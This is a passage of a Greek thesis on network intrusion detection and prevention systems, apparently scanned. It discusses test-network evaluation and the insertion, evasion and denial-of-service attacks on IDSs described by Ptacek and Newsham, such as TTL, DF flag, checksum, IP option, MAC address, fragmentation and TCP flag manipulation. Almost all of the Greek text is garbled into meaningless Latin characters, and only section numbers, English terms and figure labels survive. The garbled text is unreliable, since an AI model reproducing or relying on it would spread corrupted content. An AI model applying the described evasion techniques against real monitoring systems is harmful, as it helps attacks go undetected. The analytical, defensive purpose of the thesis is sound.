elvar peoMotikn. o mopdoetypa, evosyeton va ekdnAwBel pia eniBeomn vrepyeiiong Pviung
evavtio, evog Web server pe otoyo TNV KOTAppeLon Tov kol kKatdmy Tng emifeong vo

ovveyilovv va gupavilovton eEvanpetovueva arthuoto and Tov Web server.

e  Onwg Kot 6TV TPONYOVUEVN TPOGEYYIoT|, £ivol SVGKOAO VO TPOGILOPIGTEL TO TOGOCTO TMV
false positives, kabmg dev eivor €dkoro va avoyvoplotodv ot emifécelg mov cuvimg

TEPIAAUPAVOVTOL EVTOG TNG OVOVULOTOMUEVTG SIKTLOKNG KivNong.
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4.3.4.4 A&olOYNnom He YpNOT YEVVITPLOV TOPAYMYNG OIKTLOKNG Kivnong vtoBddpov

H mo ovvndng mpocéyyion a&lokdynong IDS/IPS givar ot g dnpiovpyiog evog dikthov SoKudv,
10 omoio TEPIAAUPAVEL TNV LTOJOUN TOL EVOL OTAPAITNTN YO TNV EMTLYY EKONAWOT EMBEcEDY. Xe
éva Ttétoro Oiktvo pmopel vo Onpovpynfel diktvaxn kivinon vrofdabpov  ypnoLUOTOLDVTOG
TOAOTAOKEG YEVVITPLEG TTOPAYMYNG OIKTLOKNG KIvGNG, Ol 0T01EC YPNGIUOTOI00V GTATIGTIKG LOVTEAL
TPAYUATIKNG SIKTLOKNG Kivnong. H diktvakn avth kivion pmopel va a&lomoindei yio v a&loAdynon
tov IDSS/IPSs og mpaypotikd xpdvo 1 va kataypapei kot vo exavainedei Eavd oe petayevésTePO

xpOVo.

"Eva mAeovékTnuo autig TG mpocsyyions etvar 1 dvvatdtnto eAedBepng S1aVOUNg TOV OE00UEVMV
TOV S0KIUDV, Kabdg avtd dev mepthapfavouv gvaicOnta dedopéva. ‘Eva dAho mieovéktnua gival 1
BePardtnta EAleyng emBécewv amd T dikTvakn Kivnon vrofddpov, kabmg avtn £xet mapaydel amd
T yevwnTpla OIKTuaknG Kivnong. Télog, etval @ikt N EXavAANYT TV SOKIU®V, EITE KATOYPAPOVTOG
Kol emovoAappdvovtog ) SKTLoKY Kivinon N Tapdyovidg v EovO YPNCLLOTOIOVTOG TG 1O1EC
TOPAUETPOVG.

H npocéyyion avtn givon pio amd ti¢ BEATIoTES, apod emitpénel T pétpnon 1660 tmwv false positives
660 kol Tov true positives, divovtag tn dvuvordtnta dnuovpyiag tov kaumviov ROC. Qotdoo,
VILAPYOLV OPLoLEVES OVOKOALEG OTNV LIOBETNOT QTG TNG TPOGEYYIoNS:

e H mpaypotonoinon g tpocopoinong eivotl oAb SVGKOAN Kol damavnpr.

¢ H mpocopoinon evdg mepiPailovioc vyniot evpovg Lovng evogyetal vo gival SUGKOAN AdyY®
TOV TEPLOPIGLEVOV TOPMV.
o  YTWAapyel M OVAYKN TOPAYOYNG OLLPOPETIKOV TOM®V OIKTVOKNG KIVNONG TPOKEWEVOL Vo

povtedonmomBodv SikTva JPopeTIKOV Koatnyopuwv. [Mo mopdderypa, m kivon &vog

OTPATIOTIKOD SIKTOOL SLOPEPEL A0 TNV KivNon evOg aKadNUATKOD SIKTOOV.
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5 Advvopieg ko wpopfiquato Tov diktvak®v IDSs/IPSs

‘Eva IDS/IPS givar g€aipetikd onpoviikd va givol a&lomioto kol va mapéyel akpipeic minpogopieg
OTOVG SLOYEIPIOTEG TV GLOTNUATOV. TNV avtifetn nepintwon, éva IDS/IPS 1o onoio de Asitovpyei
oWOoTA KoL gV givan o€ B€om va aviyvedoel TIG ENBECELS TOV TPAYILATOTOLOVVTAL, EKTOG TOL OTL OEV
TapEYEL COGT TANPOPAPN G, dnpovpyel kot pia AavBacpévn aicnon acedielons. EmmpocBétme, n
a&lo evOg TETOOV GLUGTHUOTOC Yo TNV JEPELVNON TV TEPICTUATIKAOV 0CQAAELNG eKuNdevileTon Kot
UTOpEL Vo 00NYNOEL 08 ECQOUAUEVE GLUTEPATUATO. AaUPAVOVTag VITOYT TIC EMATMOGELS TOV UTOPEL
va €yl n eopaipévn Aettovpyia evog IDS/IPS, yivetan capég 0Tt kot ta idwa ta IDS/IPS pmopodv va
amoteAEcOVV  OavTikeipevo embécewy. Xkomdg oavtdv Tev embéoswmv glvor glte . wAPNG
OTEVEPYOTOINGT TOVG M M TOPOYY] ECPAAUEV®V TANPOPOPLAV, £TCL MOTE VO LT YIVOUV AVTIANTTEG Ol
TPOYUOTIKEG EMBEGEIS TOL TPOAYHOTOTOOVVTOL 1| Vo KatnyopnOel yio ovtég kdmolog aAlog. Xtig
EMOUEVEG TTAPAYPAPOVS TEPLYPAPOVTOL O KUPLOTEPES AdVVOIES KOl TPOPANHATO TOV AVTIUETOTILOVY
ta IDS/IPS, gotidovtog ota diktvakd IDS/IPS mov amotelodv v mietoyneio tov IDS/IPS wov

YPNOUYLOTOLOVVTOL GE TOPAYMYIKE TEPPaAlovTa.

5.1 Aodvvopisg

To mo npogavég onueio evog IDS/IPS to omoio pmopsei va dexbei enibeon givar 1 axpiped tov. Mia
tétowa emiBeon pmopei va odnynoet éva IDS/IPS oty mopayoyn cite false positives eite false
negatives. H Baocikr advvapio tov diktvakov IDS/IPS v omoia ekpetaiiedovtor ovtod Tov THI0V
ot emBéoelg, eivar to yeyovog Ot To diktvakd IDS/IPS mpoomabfodv va aviiinedodv moAdTAOKEG
GUVOALOYEC TPOTOKOAAWY, €EETALOVTOC TIG UN EMAPKEIC TANPOQOPieg TOV TEPIAAUPEVOLY T TOKETO
OV JLKIVOUVTOL 0TO OiKTVO.  AAAEG LOPPEC eMBEGEMY EMYEPOVYV TNV TANPY ATEVEPYOTOINGT TOL

IDS/IPS, mAnttoviog TN S100£01U0TNTO, TOV GLGTHUATOC.

5.1.1 Avemdpkera Tinpo@opnong

To Baowkdtepo TpdPANUa mov aviyetonilovy ta diktvaxd IDS/IPS oyetiletar pe 1o yeyovdg ot 1
Aertovpyio. Tovg otnpiletar oty avaivon v dlakvovuevey mokétov. E&icov opmg onuavtikn
TANpoQopio givar kot 0 Tpdmog pe tov omoio emeepydletal 10 KAOE TOKETO O VIOAOYIOTNG Y10 TOV
onoio avtd mpoopiletar. Ta diktvakd IDS/IPS dumg, dev givar oe Béon va yvopilovv 10 mog
eneEepyAoTnKe 10 KABe TOKETO O VIWOAOYIGTNG Yo TOV 0moio awTO TTPooplldTayY, LE OMOTEAEGHO VO,
AELITOLPYOVV TPOGTOOOVTOG VO TPOPAEYOLY 1| VO GUUTEPAVOLY TN GUUTEPLPOPA TOV PAcEL TOV
avVTOALOGGOUEVOV ToKETOV. To TPOPANUO QVTAG TG TEYVIKNG EYKELTOL GTO YEYOVOG OTL LEC® TNG

TaONTIKN G TapakoAohOnong dev gival duvatd va wpoPrebel pe axpifeia o TpdmOg e Tov omoio Oa
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YEWPLOTEL £VOG VTOAOYLOTNG £VO TAKETO, 1 OKOWO KAl 0V 0VTO TO TOKETO B PTAGEL GTOV TPOOPICHO

TOVL.

To IDS/IPS givon évo cuvBmg Tobntikd chotnue To 0moio gival S10QOPETIKO amd TO. GLGTHUATO TOV
EMOMTEVEL KOL IOV OE MOAAEG TTEPUTTAOCELS PPIOKETOL G S1OPOPETIKO GNUEID TOV SIKTHOL OO AVTA.
Eivar opwg amapaitmto va avtilapfdvetor tn Oiktvokn kivion pe Ttov 1010 TpOTO MOL TNV
avtilappdvovtal kol To gmomtevdpeva cvotnpata. Adyw tng madnTikotntag pe v omoid
nopakorlovfel 1 Swukwvoduevn kivmom, dev elvan oe Béon Yo mopaderypa va {nmost v
EMOVEKTOUTN EVOG TOKETOL TOV TaPOANPONKE KaTeoTpapupuévo. Eniong, dev eivar g Béom va yvopilet
oV 0 TOPUANTTNG EVOG TOKETOV TO amodéyOnke. o Tapdderyo, OPIGUEVE GUOTHUATO ATOOEYOVTL
nokéta pe Aavlaouévo IP, TCP 1§ UDP checksum, evd kdmoto dAAa ta amoppintovyv clomnid. Avtég
01 J10POPOTIOINCELS EIVOL ATOTEAEGLO TNG OCAPELNG TOV TPOSAYPAPDV TOV TPOTOKOAAWDV Ol OTOlEg
Yo, Topdderypo odnNyovv 6g SPOPETIKEC VAOTOGELS OvE AELITOLPYIKO cbdotnuo 1| Web server.
Axopo oumg kot av to IDS/IPS yvepiler 10 Aettovpywkd cvotnua 1 tov web server tov
EMOTTEVOLEVOV CLGTNLATOG, OV gival o BEom va yvopilel av teAkd Ba amodeydel éva makéto. '
TapAderypo evogyetal vo aropplpbel Eva makéto 610tL £xovv e€avtinbel o1 VITOAOYIGTIKOL TOPOL TOL
TOPUANTTN 1] TO TOKETO VO, UNV PTAGEL TOTE MG TOV TOPUANTTN TOV, Ywpig to IDS/IPS va givar og
0éon va to avTiAnEeOel avTd. ZVVERMDC, M AMAY TAPUKOAOVONON TOV JUKIVOUUEVOV TOKETMV, OEV

umopel va eyyun et to cvyypoviopd petatd tov IDS kat tov emonTELOLEVOL GLGTILOTOC.

5.1.2 Evnafero oTig emBEGE1g GPYVNONG VTN PECLAOV

O1 emBécelg Gpvnong VINPESIOV EYOVV MG GTOXO VO TANEOLY TN S100eGOTNTO EVOS CLUGTIOTOC,
eite e£aVTAOVTOC TOVG VIOAOYIGTIKOVS TOV TOPOLS, £ITE 0OMNYMVTOG TO GE KOTAPPELOT UEC® TNG
EKUETAMAEVONG KOOl 0dVUVOUIOG TOV. XTO GLOTHLOTO OGPAAENS YPpNoIHonotovvTal ot opot fail-
open kot fail-closed mpoxeipévov va meptypdyovv n Aertovpyio. TOL GLOTAUATOS OE TEPITTOON
aotoyiag tov. ITpdkertan yioo pion oporoyio mwov ypnoonoteitar oAb cvyvd ota firewalls, ta omoia
otav Aertovpyodv g fail-closed dev emutpémovv 1 S1édevon Kovevog TAKETOVL O MEPIMTOON
aotoyiag Tovg, evd otav Asttovpyodv g fail-open exitpénovv tn SiElevon dAmV TOV TOKETOV YOPIG

VoL ToL EAEYYOLV.

Ta diktvaxd IDS/IPS, 1o omoia cvvAbmg ypnoonoovvtal ®wg madnTikd oTot el Tov S1KTVOL,
Aertovpyovv €€’ opiopov wg fail-open kot cuvendg dev givar o BEon va gAéyyovv T dakivodpuevn
Kivnon o€ TePItTOoN aoToYing TOVS. AVGTLYMS, TO TPOPANIN TV EMBEGEDV GPVNOTG VIINPESLDY dEV
glvat 0KOAO OVTILETOTIGIHO, KUPIOG AOY®D TOV JAPOP®V TEYVIKMV EEAVTANGCTNG TV VTOAOYIGTIKAOV

nopwv evog IDS/IPS.
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5.2 Tlpofmjpota ko emO£ceLS

"Hon amd to 1998 éyovv yivel yvwotéc amd tovg Thomas Ptacek ko Timothy Newsham [17] tpeig
drapopetikég katnyopieg emifécewv évavtt Tav diktvakav IDSS/IPSs. O emibéoeig avtég éxovv mg
610%0 TOV amocvYypovicud petacd tov IDS/IPS kot Tov enonTELOUEVOD GLGTAUATOC, ET6L MOTE gite
va emeepyalovtar dlopopeTikd dedopéva M ta idw dedopéva pe Sapopetikd tpomo. Epocov o
emTIOEUEVOG KaTOpBDGEL VO, EMTOYEL AVTOV TOV OTOGLYYPOVICUO, gival oe Béon va ekdNAdoEL TNV

emifeon tov ywpig avtr va yiver avtinm). Ot kotnyopieg avtég tov embécemv glvar ot akdAovOeC:

o Ewoayoyn (insertion). Mio enibeon koatnyopiog el60y0yNc Tpaypatomoleital pe tm ypnion
eVOG 1 TEPLOGOTEPOV TAKETOV T0, ool yivoviol amodektd amd to IDS/IPS, evd avtifétmg
aVTa omoppinTovtol amd Tov TEAKO TOVG 0modéktr. [lpdkertar dnAadn yo TV €lGaymYN
TOKETOV OTN SIKTLOKY PON TO omoio yivovton omodektd povo amd 1o IDS/IPS. Mg v
EI0AYMOYN TETOWMV TOKET®V OTN OIKTLOKY por|, €lval duvatd vo exdnAwbel pio emiBeon m
onoia dev Bo yiver avtidnmm amd to IDS/IPS, axdpo kot av ovtd dwabétel v KoTdAinin
vroypapn aviyvevong. O emBéoeic avtig e Kornyopiog sivar emtvyeic, étav o IDS/IPS
glval Ayotepo avotnpod Kotd v eneepyacioo T@V TOKETOV OO TOV TEAIKO TOLG OTOJEKT).
Ymv Ewoéva 5-1 didetar éva moapdderypa piog emibeong avtig g katnyopiag. O
emTidéuevog onuovpyel pio pon mokétwv, kabévo amd To omoio mepLhapPdver Eva
xapaxIpa. Amd To ToKETO aVTA, EKEIVO OV avTioTol el oto yapaktnpa X Oa yivel amodektd
povo o6 1o IDS/IPS. To amotélespa ivar va avacvvtifevtol SlopopeTikd AEKTIKA omd TO

IDS/IPS kot Tov 0mod€KTN TOV TOKETMV.

End-System Network Monitor
Sees "ATTACK" Sees "ATXTACK"

‘A T T A Cc K A T x T Al|c K|

i

Accepted by Monitor

Rejected .T..x..T..c..A..A..K.
hy FlndiS'\'sterrl .

Attacker's Data Stream

Ewova 5-1: ITapaderypo exifeong sroayoync — Mposdikn tov yapaxtipa X [17]

o Awg@uyn (evasion). Mia enifeon xatnyopiog Swpuyng Asrtovpyel avrtiotpopa omd pia
emifeon eoaywync. Ipaypatomoteitatl pe T ¥pNHon VOGS 1 TEPIGGOTEP®V TOKETWMV TO, OTOI0L

amoppintovtor oo 1o IDS/IPS, diapedyoviag €161 amd TV emBeDPNON TOVG, EVH AVTIOETMG
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ot yivovtol amodektd amd tov TEAMKO Tovg amodéktr. Ot emBéoelg avtng g Katnyopiog
eivon emrvyeic, 6tav to IDS/IPS eival mepiocdtepo avotnpd kotd v enelepyocio tov
TOKETOV OO TOV TEMKO TOUG OTOOEKTY. TO OMOTEAEGUO OVTOV TOV EMBECEWV &ival va

TPAYLOTOTOLOVVTOL OAOKANPEG GHVOSO0L 01 0T0iEG O€ YivovTor avTiinmtég omd to IDS/IPS.

End-System Network Monitor
Sees "ATTACK" Sees "ATTCK"
| A T T A Cc K A T T C K

I

Accepted by End-System
Rejected
hy Monitor

T T c|/ /Al A K =,

Attacker’s Data Stream - --

Ewoéva 5-2: Mapaderypo enifcons dto9uyns — Atoguyn Tov yopoxtipa A [17]

e Apvnon Ymnpeowov (Denial Of Service). Onwg mpoovagépnke, ol embécelg dpvnong
VINPESIOV £XOVV OG GTOYO VA TANEOLVV TN JBEGIUOTNTA EVOC GUOTHLOTOG, EITE EEOVTADVTOG
TOUG VTOAOYIGTIKOUG TOL TOPOVG, E€IT€ OONYDOVTOG TO GCE KOTAPPELOT UECH®  TNG

EKUETAAAEVOTG KOO 0OVVOUIOG TOV.

5.2.1 MpoPfmpota 670 eNimedO HIKTHOV

"Eva mpoPAnua eilcaymyng 1 S1a@uyng 61o enimedo dkTuov emnpealetl Kot OA0 Ta VYNAOTEPA, EMITEDA.
H eioaywyn evog makétov IP diverl tn dvvatdtnta otov emTiBEUEVO va E10aYAYEL KOT' EMEKTOON £Vl
opBmg popeomomuévo makéro vynAdtepov emmédov, 6mwg TCP, UDP v ICMP. Eivan cuvenmg
e&apetikd onpavtikd yo éva IDS/IPS to va pmopei va avtipetoniost pe emtuyio 11 Tpootddeieg

OTOPLYNG OViYVELOTG AVTOV TOV EMUTESOV.

5.2.1.1 Xepoaydynon tudv nediov enikeearioag IP

O amAovoTEPOG TPOTOG amOPPIYNG £VOG TakéToL IP givor 1 amddoon piog AavOaouévng Tiung o éva
amd o media emkePaAidag tov maxétov. ‘Eva t€1010 edio eivon yio moapdderypa to wedio “Version”,
OOV 0TOLUONTTOTE TN SLoPOPETIKY Ao T0 4, Bewpeitan AavOacuévn yio makéto IPv4. To mokéta pe
E0QPAAUEVEC TIUEG 0TO TTESTIN EMKEPUAId®Y, OV UTOPOVY OUmG E0KOAN Vo a&lomomBoiv Yo embécelg
amoOQUYNG aviyvevone, kabdg ovtd ocvvnbwg amoppimtoviol omd TIG EVOLANECES GLOKEVEG
dpopordynonc. OplopEVES TEYVIKEG YEPAYDYNONG TIUDOV TEdIMV EMIKEQAAIdOC OV pmopel va givat

OTTOTEAEGLATIKES Elval 01 aKOAOVOES.
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52.1.1.1 Time To Live (TTL)

To medio TTL g emkeparidag IP avapéper to péyioto aplud dpopoioynT®dV amd TOLg 0Toiovg
emrpéneTol va 01EAdel, mpv avtd va amopprpbel. O kébe dpoporoynte mov mpowbel 1o maxéro,
pewdvel avtov tov opiud katd €va. ‘Evag emtifépevoc mov yvopiler v tomoloyio Tov SIKTVOV
TPooplopov, pmopel va Bécet pia tétota Ty oto medio TTL, n omoia Ba €xel w¢ amotérecpo v
ene€epyacio Tov Tokétov and to IDS/IPS, to onoio cuvnBwg sivat torobetnuévo otnv mepipeTpo Tov
d1kTOOoV, VD TO TokETO B0 amoppupbel amd Evav amd TOLG EVOIAUESOVS dPOUOAOYNTES, TPV QLTO
@tacel otov teEMkd Tov mpoopispd. To amotéhespo Bo eivor n emTvyng éxPaon pioag emiBeong

eloayoync. [17][18]

I:Iélost
IE TTL=17, sef=1 W —timed out | seq=1
Ij TTL=23, sep=1 —EI

E TTL=2T 58q=2 w "‘"'ngl
IIi TTL=15,58q=2 *imeé out

E TTC=T9 3eq=3 w T.Ime_.g‘:out
IE TTL=20.3eq=3 @

I__t_} TTL=21seq=4 —\\ ﬁ

E TTL=17}seq=4 timed out

W Receiver

Sender
Ry
|D~@ﬁnﬁcﬁ r:l‘{
ioro?

coro?
eott?

W

seq=23

Ewoéva 5-3: Xepoaydynen nediov TTL [18]

5.2.1.1.2 DF (Don’t Fragment)

To MTU (péylomn povada petadoong) mpoodopilel to péyioto péyebog mokétov mov pumopel vo
dpoporoynOet amd v vrokeipevn texvoloyiog HETAG0ONC TOV emmEdOv cvvdeon. [ mapdoetypa,
1o Ethernet éyet MTU 1500 bytes. Otav évo diktvo 0életl va oteilel TakéTo o€ diKTLO UE LIKPOTEPO
MTU, pmopei va. Opoppaticel 10 MOKETO GE WIKPOTEPU TOKETO, TPOKEUEVOL Vo €IVOL EPIKTA M
petadoon tovc. H emikeparida IP dwbéter {va nedio pe dvopo DF (Don’t Fragment), pe to omoio
OIOETOL EVIOA OTIG CLOKEVEG dPOUOAOYNONG VO LNV BpLUUATICOVV TO TAKETO, OV OVTO Eival TOAD
peyddo yio va mpomOnbei, oAAd va to amoppiyovv. Znv mepintwon Kotd tnv omoia to MTU tov
dwctvov wov Ppioketar to IDS/IPS, givar peyoddtepo and avtd Tov dIKTOOL 6T0 0moio PpicKeTal TO

EMONTEVOLEVO GVOTNIA, O emTIOEUEVOC UTopEl v, eloaydyel TokéTa, Oétovtag To bit DF kot kévovtag
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ToL TOAD HEYAAO Yo TO SIKTVO TPOOPIGHOV, Ywpic Ouwe va Eemepvd 10 MTU tov diktdov TOL
IDS/IPS. Tétown makéta Oa gtacovy £mg to IDS/IPS evd Ba amoppipbodv and to dpoporoynty tov

SKTHOV TPOOPIGUOD, e amoTéEAESUA TV etV £KPaocn piog enifeong etcaymync. [17]

5.2.1.1.3 IP checksum

Optopéva IDS/IPS, oty mpocmdbeid Tovg vo PeEATIOG0VV TIG EMBOGELG TOVS, dev emainfevovv to TP
checksum tov mokétov (1 pubuilovial €161 GoTe vo unv 0 enaAnbsbovy), BewpmdvTog OTL TETO10V
€ldovg makéta Ba amopppHovy amd TIg GLGKEVEG dPOUOAOYNONG TOL PpicKovTol TPLY amd avTd 1 omd
Tov TeEMKO Tpoopiond tove. ‘Eva IDS/IPS to omoio dev emainbedet to IP checksum givat evdimto og
embéaelg elocaywyns, Kabng evocyetan va emeepyaotel éva makéTo 1o onoio Ba amoppipbel and Tov
TPooptopd Tov Aoy ecpaipévov checksum. H erifeon vt umopei vo exkdniwbel o cuvdvaoud pe

Opvppatiopd tov Takétov IP 1 pe embécelc tov enumédon LeETOPOPAS.

5.2.1.1.4 IP options

‘Eva dAlo onpeio to onolo umopet va ekpetorievtel évag emriBépevog ivar 1 Stopopd mov pmopet va
vapyel oy avaivon tov IP options, peta&d tov IDS/IPS kat Tov TeEMKoD TPOOPIGHOD TOV TAKETOV.
INo mapdderypo to source routing (dpopoidynon amd Tov amocTorén) givatl évag pUNYovioUos Tov
EMUTPENEL GTOV OMOGTOAEN VL TPOSdlopilel TV dpopnoroynon mov Ba yivel Yo TV mapddoon evog
maxétov. ‘Evag emmifépevog umopel va Béoel pio ywevdn oievbuven mpoéhevons, emiAéyoviog pia
devbBvvon mov avikel 610 VTOdiIKTVO ©TO omoio mpoomabel va eloPdAel. XpnooTODVTAG
TautOypova o pnyavicpud source routing pmopel va giodyst Aabpaia 10 TokéTo 610 diktvo. Ta
neplocotepa IDS/IPS givar étol pubuicpéva dote vo Bempodv To EUMIOTO. TO E6MTEPIKE OO TA
eEotepkd diktva. 'Etot o emtiBépevoc pmopel va exdniooet eniBécelg ol omoieg dev Ba aviyvevfovv
ond kavoveg ot omoiot vroBETovy ATl o1 emMBEGES UTopovV va ekdNABOLV Hdvo amd 10 eEwTeptkd
diktvo. Emiong, o1 dpoporoyntég mov moapepPfarioviol E0¢ TOV TEAKO TPOOPIGUO TOVL TAKETOV 1 Kol O
010G 0 TPOOPIGUOG, EVOEYETOL VO ATOPPITTOVY TOKETO, 6T OTOl EYEL YPMNOIULOTOINOEL O UNYOVIGUOG

source routing, pe amotéleopa vo gival QKT 1) EKONA®OT ETBLcEMY EIGUYOYNC.

5.2.1.2 Awevbdvoeig MAC

Av kot Tpoavadg dev TpdkerTor Yo Evav TpdPANpa ovtd ko’ avtd Tov ETTESOV SIKTVOV, 0 TPOTOGC
51evBVVG1000TNONG TOL EMMEOOL GUVOEGHOL Olvel TapPOUOlEg dVVATOTNTEG EMBECEMV EIGAYMYNC.
‘Evog emtifépevog mov Ppicketar 6to 1010 Tomikd diktvo pe to IDS/IPS ko yvopilel ) dievbovvon
MAC tov IDS/IPS, pmopei va katevdovel mokéto mpog avtd ypnoipomoidvtag tn devbvven MAC
tov IDS/IPS, ywpig exeiva vo pmopodv va gtdcovy atov gupaviiopevo amodéktn IP. Av to IDS/IPS
dev edéyyet av n oevbuven MAC tev mtokétov avtiotoyel ot dievbuvon IP tov amodéktn, dev Ba

glvan og Béom va yvopilel 6Tt kavéve GAAO cOGTNUE TOV d1kTVoL dev o pmopel va. ta emelepyaoTel.
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Axopo kat av o emtiféuevoc de yvopilel tn dievbvvor MAC tov IDS/IPS, pnopei va expetolievtei
10 yeyovog 6tL 1o IDS/IPS Aeitovpyel oe promiscuous mode kor v ypnoLUOTONoEL piot WeHTIKN

devbuvon MAC, e ta idio amoteréouata. [17]

10001 f AB-AD:CA-FE:00:01 H - 10.0.0.2 F AB: AD:CACFE 0000
end-sysiem AT TACK ATTHCK monitor
'y
' Ethernat
e ETE
Sent to 10.000.1 at ! Sentto 10,0001 at
Ethernat attacker ; Ethernet

ABADCAFEDD:0] S ABIADCAFE:00:00

A T T X A C K

Ewéva 5-4: Enifgon sioayoyng oto eninedo cvuvosopov [17]

5.2.1.3 Opvppotiouog IP

Ta mokéta IP umopodv vo SlooTacTovy 68 UIKPOTEPO TAKETO KoL VO, ETUVAGLVAPLOA0YNO0DY GTOoV
TPoopIopd tove. To kabe kopupdtt Aapfdaver tn dikn Tov emkearida IP kot pwopei vo dpoporoyndet
HEG® SlopopeTikng dadpounc. H dvvatdtnta avti tov mpwtokdéAlov IP gival yvoot) pe tov 6po
Opvuuotiouds (fragmentation). O Opvppatiopdg diver T dvvoTOTNTA HETAPOPES TAKETOV UECH
OLOPOPETIKAOV UECHV HETAOOONG, TO ONOI0L EVOEYOUEVMG VO, EXOLV OlOPOPETIKA Opto HeyEBoVG

TAKETOV.

5.2.1.3.1 Enravacvvapuoroynon noxkétwv IP

AOY® OPICUEVOV AGAPEIDV TOV TPOYPOP®Y TOL TPMTOKOALOL IP, Ta Agitovpykd cuetiuate dgv
yewpilovtal Gg KATOEG TEPITTAOOCEL TNV EMAVOCLVOPLOAOYNON TV Takétewv IP pe eviaio tpomo.
Emiong, to IDS/IPS givar amapaitmto va yewpiloviol e Tov KOTOAANAO TPOTO TO KOUUATIO TMV
nakétov IP. O kdpieg mpokinoelg tic onoieg Bo mpémer vo avietoniler éva IDS/IPS givor ot

aKOAOVOEC:

e Meyahog Opoppatiopds. ‘Evag emtifépevoc pmopel va oteilel makéto pe 660 10 duvatod
UEYOADTEPO BPLUUOTIGHO, TO 0ol EVOEXETAL VO dlopoVV aKoua Kot TV emtke@aiida TCP.
Av 10 IDS/IPS &¢ev givar oe Béom vo EMOVOGUVOPHOAOYHGEL GOGTA TO, KOUUATLO TOV TOKETOL

P and TV eMBEDPNGCT TOVG LE T XPTOT TOV VIOYPOP®V, Ol EMBECELS dgv Ba pmopovv va

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov 2elioa 71



avyvevBovv, aeov kavéva omd To KOUUATIO TOV TOKETOV OV B Tapldlel e TIG VIOYPAPES

tov IDS/IPS.

o Tloporopi] koppatTidv ekT0G 6epdc. To IDS/IPS Ba mpémet katd v enavacuvapuorloynon
va B€tel ta Kopudtia 6t oot ogpd. 'Evag emtiBépevoc umopel eokeppéve vo amooteilet
TO KOUPATIO €KTOG oglpds, mpokewévov va umepdéyetl to IDS/IPS wou va dragdyel g

aviyvevonge.

o  KaOvotépnon naparapic koppatiodv. Eva IDS/IPS dev 0o mpénel vo, emavacuvapuroroyel
TO. KOUWATLO, OV TPOTYOUHEVMG OgV €xel eA&yEetl OTL Exovv mapainebei 6Aa. ‘Eva cdvnbeg
CQAALD EIVOL 1 EMOVOCLUVOPUOAOYNOT] TOV KOUUOTIOV UOAS ANEOEl TO KOUUATL TOV QEPEL
mv £voeln tov tedevtaiov kopuartiod. Eva dAlo tpdfAnua mov avtipetoniCovv to IDS/IPS
gtvol to yeyovog Ot mpémel va amofnkevovy To koppdtio mov Aappdvovv €wg 6tov etvor
EPIKTN T EMAVACLVVOPUOAGYNOT TovG. To yeyovdg avtd pmopel vo To EKPETOAAEVTEL €vag
EMTIOEUEVOG, OTEAVOVTOG CLVEXDG HOVO HEPOG TMV KOUUOTIOV TGOV OpLuUHOTICHEVEOY
TOKETOV, HE amotéAeopa tnv e&dvtinon g uvAung tov IDS/IPS. Téco o IDS/IPS 660 kot
TOL TEAUKG GUGTAHATA TTOV ATOTEAOVV TOV TPOOPISHO TMV TOKETWYV, YPNCLLOTOOVV JBPOPES
teyvikég (Omwg timeout) yio va amoppintovv ta mokd nurtedn moxéta. Eivor 1daitepa
onuovtiko to IDS/IPS va ypnoonotel v idia TeqvVIK amdppiyng TOKET®V UE TO GVGTN O

OV EMOTTEVEL, O10TL GE OLPOPETIKY TEPIMTOOT €ivol EVAAMTO o€ EMBEGEIS EIGOYDYNG KoL
SpuyNC.

o  Emxaivrtopeva koppdtia. To xoppdtio evog Bpvppaticpévov mokétov IP evdéyetan va
napaAneBovv exTdC GEPAG Kot Le emKaALTTOUEVEG BEoEls. AV 0 TEMKOS OTOOEKTNG EVOG
TokéTov TapaAdpet dedopéva o omoia Baoet Tov fragment offset mpoxvmrel ét1 Ba wpémet va
tonofetnBovv oe Béon ywo v omoia €xovv MOM mapoineOei Ghia dedopéva amd Eva
TPOTYOUUEVO KOUUATL, Bo TTPEMel va EMAVGEL PE KATOWO0 TPOTO GLTIV TI| GUYKPOLOT|. Xg
OVTEG TIG TEPUTTMGCELS, OPIGUEVO AEITOVPYIKA GUOTHLOTO OIVOLV TPOTEPOLOTNTO GTO TOALY
dedopéva, evad kdamola GAAo divovv mpotepadTNTO oTO. VER dgdopéva. Eivar Aowmdv
onuovtiko ywo. to IDS/IPS vo enavacuvappoloyel ta emkolvmtopevo, Kopudtio pe tov 1610
TPOTO TOL TO ETMAVOCLVOPUOAOYEL TO EMOMTEVOUEVO GUGTNUO. AlLQPOPETIKA, EVOC
EMTIOEUEVOC UITOPEL VO, TPAYLLOTOTOIOEL EMODEGELG SLOPVYNG, UTOKPOATOVTOC TNV €mibeon

TOV HECH EMIKOADWYEWDV TTOVL B0l EPUNVEVTOVV SLOPOPETIKA Atd T OVO GUGTALOTOL.

5.2.2 TpoPpmjpata 6To €MimEdO HETAPOPHS

To peyaivtepo minbog tov embBécemv mov mpaypatomolovvtal ypnoiponolel cuvdéoelg TCP. Eivar
ovvend¢ amopoitnto ywo éve IDS/IPS va eivon og Béon va avacvvBécel Tic mAnpopopieg mov

dokwvobvtol péc® tng pong tov makétov TCP, pe tov 1010 tpoémo mov Tic avoacuvvlétouv T
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OUCTAUOTO 7OV OVLTO EMOMTEVEL. XTN| OULVEYEWN TEPLYPAPOVIOL OPIGUEVEC TEYVIKEG TOV

ekuetaldevovral tn dvokorio mov £xovv ta IDS/IPS oto va tapakolovbicovv Tic poég TCP.

5.22.11 ZXZopdlpota emkeparidog TCP

Opwopévor ocvvdvacpoi mediov g emkeeoiidag TCP dev egivar €ykvpor kot o mpémer va
OTOPPITTOVTOL TO TOKETO, 7OV YPNCUOTOOVY TETOOVS GLUVOLOCUOVG. [lapadeiypoto TETOIWV
oc@oApdToVv ivor n vmapén tov onuaidv RST kot SYN o710 810 maxéto. Emnpocsbétmg, cOppova pe
TIG TPOodLYpaPES TOV TPp®TokOAAoL TCP, N vmapén dedopévav oe éva makéto SYN mpénet va givan
amodekt). QoT1000, VIAPYOLVY TOAAEG vAomomoelg Tov TCP 7mov dev emTpémovy v mapovsio
dedopévav oe maxkéto, SYN 1 mov anodéyovral e6QUAUEVOLS cLVOVAGHODG onpomy. Eivalr Aowdv
onuovtikd yio to IDS/IPS va yvopilel tov tpomo pe tov omoio emefepydletal To TOKETO O TEMKOC

TOLG OTOOEKTNG, TPOKELUEVOL VoL UV €ival EVGA®MTO og eMBETELS EIGAYMYNG 1] O1OPLYNG.

5.2.2.1.2 TCP checksum

Onwg kot oty mepintmon tov IP checksum, opiopéva IDS/IPS oty mpoonddeid tovg va fektidcovv
T1G EMBOGELG TOVG, dev emainevovy to TCP checksum tov tokétmv (1] puBuifovrar £tol dote va pnv
